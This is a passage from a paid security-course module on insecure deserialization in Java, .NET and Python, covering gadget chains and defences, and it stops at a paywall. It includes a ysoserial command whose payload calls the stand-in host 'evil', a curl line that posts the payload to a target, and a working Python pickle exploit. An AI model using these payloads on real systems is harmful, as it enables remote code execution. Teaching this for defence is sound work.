Insecure deserialization is the vulnerability class that turns “your application accepts a serialized object from a user” into “remote code execution.” Java, .NET, PHP, Python, Ruby β every language with serialization has had a disclosed deserialization RCE chain. This module covers the mechanism, the major exploit chains, detection, and defenses.
What deserialization is β and why it’s dangerous
Serialization converts an in-memory object graph to a byte stream for storage or transmission. Deserialization reconstructs the object graph from the byte stream. The danger: deserializers often invoke constructors, magic methods, or property setters as part of reconstruction. Attacker controls the bytes β attacker controls what code runs during reconstruction.
The classic example: Java’s ObjectInputStream.readObject() will instantiate any serializable class on the classpath, calling its readObject() method. If a class on the classpath has a readObject() that does dangerous things (or can be chained to a class that does), exploitation follows.
The chain concept
Most exploits don’t use a single class β they chain “gadgets” (classes whose deserialization side effects can be composed):
BadObject (deserializes) β invokes Map.put() (gadget 1)
β triggers TransformerChain (gadget 2)
β triggers ChainedTransformer (gadget 3)
β triggers InvokerTransformer (gadget 4)
β invokes Runtime.exec("calc.exe")
Each gadget alone is benign; the chain executes arbitrary code. ysoserial (for Java) ships dozens of gadget chains targeting common libraries.
Java β the canonical case
- ObjectInputStream is the default; readObject() is the entry point
- Common library entry points: Apache Commons Collections, Spring, Hibernate, JBoss, Weblogic, Jenkins
- ysoserial generates payloads for known gadget chains
- Detection: any place your app calls readObject() with user-controlled data β direct serialization endpoint, or RMI, JMX, JNDI
# Generate a Java deserialization payload
java -jar ysoserial.jar CommonsCollections5 'curl http://evil/x' > payload.bin
# Send to vulnerable endpoint
curl -X POST -H "Content-Type: application/octet-stream" \
--data-binary @payload.bin https://target/api/object
Java defenses
- Don’t deserialize untrusted data. Use JSON, Protobuf, etc., which don’t auto-instantiate
- Look-ahead deserialization β Java 8+ ObjectInputFilter; allowlist classes that may be deserialized
- SerializationDumper / SerializationDumperGUI β analyze legacy serialized data
- Patch libraries β Commons Collections 3.2.2+ removed dangerous classes; many libraries have hardened similarly
- JVM flag
-Djdk.serialFilter for global allowlist
.NET deserialization
- Vulnerable formatters: BinaryFormatter (deprecated in .NET 5+), SoapFormatter, NetDataContractSerializer, LosFormatter, ObjectStateFormatter
- Safer: System.Text.Json, DataContractJsonSerializer (with known types only)
- ysoserial.net generates gadget chains for .NET
- Common entry points: ViewState in ASP.NET, MVC binders, WCF endpoints, custom serialization in business code
Python β pickle
Python’s pickle module is unsafe by design β pickle data can include arbitrary class instantiations and method calls during unpickling.
import pickle, os
class Exploit:
def __reduce__(self):
return (os.system, ('id > /tmp/pwned',))
payload = pickle.dumps(Exploit())
# Send to anything calling pickle.loads(user_input)
Python defenses: never use pickle on untrusted data. Use json, msgpack, or protobuf. If pickle is unavoidable, sign with HMAC and verify before unpickling.
π Advanced Module Β· Pro Tier
Continue reading with Pro tier (βΉ4,999/year)
You've read 29% of this module. Unlock the remaining deep-dive, quiz, and every other Advanced/Expert module.
136+ modulesAll levels up to this tier
20-question quizzesUnlimited retries with explanations
Completion certificatesShareable on LinkedIn
7 more sections locked below